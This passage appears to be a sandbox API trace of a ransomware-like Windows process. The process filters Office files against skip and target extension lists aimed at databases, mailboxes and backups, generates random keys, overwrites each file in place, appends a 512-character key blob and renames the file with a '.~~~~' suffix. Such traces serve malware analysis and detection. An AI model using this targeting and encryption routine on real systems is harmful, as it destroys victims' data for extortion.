	[0142.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a37d0 | out: hHeap=0x300000) returned 1
	[0142.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9018
	[0142.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6840
	[0142.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9018 | out: hHeap=0x300000) returned 1
	[0142.125] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.125] GetLastError () returned 0x0
	[0142.126] GetLastError () returned 0x0
	[0142.126] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.126] GetLastError () returned 0x0
	[0142.126] GetLastError () returned 0x0
	[0142.126] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x70bc, lpOverlapped=0x0) returned 1
	[0142.281] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8f44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.281] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x70bc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x70bc, lpOverlapped=0x0) returned 1
	[0142.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0142.281] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.281] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.281] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.282] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.282] CloseHandle (hObject=0x138) returned 1
	[0142.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9408
	[0142.282] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif.~~~~")) returned 1
	[0142.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9408 | out: hHeap=0x300000) returned 1
	[0142.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0142.285] GetLastError () returned 0x0
	[0142.285] RtlWakeConditionVariable () returned 0x0
	[0142.285] GetCurrentThreadId () returned 0x9f4
	[0142.285] GetCurrentThreadId () returned 0x9f4
	[0142.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9408
	[0142.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9558 | out: hHeap=0x300000) returned 1
	[0142.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa5b8 | out: hHeap=0x300000) returned 1
	[0142.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9558
	[0142.286] lstrlenW (lpString=".scr") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".scr") returned 0x0
	[0142.286] lstrlenW (lpString=".cmd") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".cmd") returned 0x0
	[0142.286] lstrlenW (lpString=".dll") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".dll") returned 0x0
	[0142.286] lstrlenW (lpString=".bat") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".bat") returned 0x0
	[0142.286] lstrlenW (lpString=".cpl") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".cpl") returned 0x0
	[0142.286] lstrlenW (lpString=".sys") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".sys") returned 0x0
	[0142.286] lstrlenW (lpString=".msc") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".msc") returned 0x0
	[0142.286] lstrlenW (lpString=".com") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".com") returned 0x0
	[0142.286] lstrlenW (lpString=".lnk") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".lnk") returned 0x0
	[0142.286] lstrlenW (lpString=".msp") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".msp") returned 0x0
	[0142.286] lstrlenW (lpString=".pif") returned 4
	[0142.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".pif") returned 0x0
	[0142.286] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.289] lstrlenW (lpString=".sqb") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".sqb") returned 0x0
	[0142.289] lstrlenW (lpString=".ost") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".ost") returned 0x0
	[0142.289] lstrlenW (lpString=".txt") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".txt") returned 0x0
	[0142.289] lstrlenW (lpString=".mdt") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".mdt") returned 0x0
	[0142.289] lstrlenW (lpString=".BDB") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".BDB") returned 0x0
	[0142.289] lstrlenW (lpString=".eql") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".eql") returned 0x0
	[0142.289] lstrlenW (lpString=".DBF") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DBF") returned 0x0
	[0142.289] lstrlenW (lpString=".EQL") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".EQL") returned 0x0
	[0142.289] lstrlenW (lpString=".FDB") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".FDB") returned 0x0
	[0142.289] lstrlenW (lpString=".EDB") returned 4
	[0142.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".EDB") returned 0x0
	[0142.289] lstrlenW (lpString=".DACPAC") returned 7
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.290] lstrlenW (lpString=".VHD") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".VHD") returned 0x0
	[0142.290] lstrlenW (lpString=".DBV") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DBV") returned 0x0
	[0142.290] lstrlenW (lpString=".dacpac") returned 7
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.290] lstrlenW (lpString=".sdf") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".sdf") returned 0x0
	[0142.290] lstrlenW (lpString=".accdb") returned 6
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".accdb") returned 0x0
	[0142.290] lstrlenW (lpString=".DBX") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DBX") returned 0x0
	[0142.290] lstrlenW (lpString=".MDT") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".MDT") returned 0x0
	[0142.290] lstrlenW (lpString=".SQB") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".SQB") returned 0x0
	[0142.290] lstrlenW (lpString=".vhd") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".vhd") returned 0x0
	[0142.290] lstrlenW (lpString=".bac") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".bac") returned 0x0
	[0142.290] lstrlenW (lpString=".mdf") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".mdf") returned 0x0
	[0142.290] lstrlenW (lpString=".BAK") returned 4
	[0142.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".BAK") returned 0x0
	[0142.290] lstrlenW (lpString=".BAC") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".BAC") returned 0x0
	[0142.291] lstrlenW (lpString=".dbs") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".dbs") returned 0x0
	[0142.291] lstrlenW (lpString=".vhdx") returned 5
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.291] lstrlenW (lpString=".NDF") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".NDF") returned 0x0
	[0142.291] lstrlenW (lpString=".dat") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".dat") returned 0x0
	[0142.291] lstrlenW (lpString=".DBS") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DBS") returned 0x0
	[0142.291] lstrlenW (lpString=".CKP") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".CKP") returned 0x0
	[0142.291] lstrlenW (lpString=".edb") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".edb") returned 0x0
	[0142.291] lstrlenW (lpString=".PST") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".PST") returned 0x0
	[0142.291] lstrlenW (lpString=".dbf") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".dbf") returned 0x0
	[0142.291] lstrlenW (lpString=".SQL") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".SQL") returned 0x0
	[0142.291] lstrlenW (lpString=".pst") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".pst") returned 0x0
	[0142.291] lstrlenW (lpString=".dbv") returned 4
	[0142.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".dbv") returned 0x0
	[0142.291] lstrlenW (lpString=".SDF") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".SDF") returned 0x0
	[0142.292] lstrlenW (lpString=".dtxs") returned 5
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.292] lstrlenW (lpString=".db3") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".db3") returned 0x0
	[0142.292] lstrlenW (lpString=".OST") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".OST") returned 0x0
	[0142.292] lstrlenW (lpString=".dbx") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".dbx") returned 0x0
	[0142.292] lstrlenW (lpString=".DB3") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DB3") returned 0x0
	[0142.292] lstrlenW (lpString=".DAT") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DAT") returned 0x0
	[0142.292] lstrlenW (lpString=".VHDX") returned 5
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.292] lstrlenW (lpString=".ndf") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".ndf") returned 0x0
	[0142.292] lstrlenW (lpString=".DB") returned 3
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DB") returned 0x0
	[0142.292] lstrlenW (lpString=".sql") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".sql") returned 0x0
	[0142.292] lstrlenW (lpString=".MYD") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".MYD") returned 0x0
	[0142.292] lstrlenW (lpString=".DBT") returned 4
	[0142.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DBT") returned 0x0
	[0142.293] lstrlenW (lpString=".ACCDB") returned 6
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.293] lstrlenW (lpString=".fdb") returned 4
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".fdb") returned 0x0
	[0142.293] lstrlenW (lpString=".bak") returned 4
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".bak") returned 0x0
	[0142.293] lstrlenW (lpString=".myd") returned 4
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".myd") returned 0x0
	[0142.293] lstrlenW (lpString=".DTXS") returned 5
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.293] lstrlenW (lpString=".ckp") returned 4
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".ckp") returned 0x0
	[0142.293] lstrlenW (lpString=".dbt") returned 4
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".dbt") returned 0x0
	[0142.293] lstrlenW (lpString=".db") returned 3
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".db") returned 0x0
	[0142.293] lstrlenW (lpString=".TXT") returned 4
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".TXT") returned 0x0
	[0142.293] lstrlenW (lpString=".MDF") returned 4
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".MDF") returned 0x0
	[0142.293] lstrlenW (lpString=".bdb") returned 4
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".bdb") returned 0x0
	[0142.293] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.294] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.295] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.295] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.295] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26228535709) returned 1
	[0142.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe373850, dwHighDateTime=0x1d60e1e)) 
	[0142.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0142.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0142.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0142.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa5b8
	[0142.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa5b8 | out: hHeap=0x300000) returned 1
	[0142.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9360
	[0142.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0142.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9360 | out: hHeap=0x300000) returned 1
	[0142.297] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.297] GetLastError () returned 0x0
	[0142.297] GetLastError () returned 0x0
	[0142.297] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.297] GetLastError () returned 0x0
	[0142.297] GetLastError () returned 0x0
	[0142.298] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x6499, lpOverlapped=0x0) returned 1
	[0142.300] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff9b67, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.300] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x6499, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x6499, lpOverlapped=0x0) returned 1
	[0142.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0142.300] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.301] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.301] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.301] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.301] CloseHandle (hObject=0x138) returned 1
	[0142.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9360
